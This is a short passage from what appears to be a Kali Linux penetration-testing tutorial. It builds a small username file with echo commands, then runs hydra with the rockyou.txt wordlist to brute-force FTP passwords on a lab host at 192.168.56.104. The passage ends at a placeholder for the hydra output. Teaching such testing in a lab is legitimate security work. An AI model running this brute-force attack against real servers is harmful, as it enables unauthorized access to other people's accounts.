In this recipe we will used a defined list of actual or potential usernames that exist on the server:
- Open a terminal window in Kali by clicking the icon.
- We will use a hydra to hunt for passwords using a wordlist along with a predefined set of usernames. Let's build our name list:
cd touch usernames echo 'penny' >> usernames echo 'leonard' >> usernames echo 'raj' >> usernames
- Now let's run hydra using our username list and wordlist. You will notice that this does take some time but ultimately you will get the passwords:
hydra -L ~/usernames -P /usr/share/wordlists/rockyou.txt ftp://192.168.56.104/
Hydra output screen ...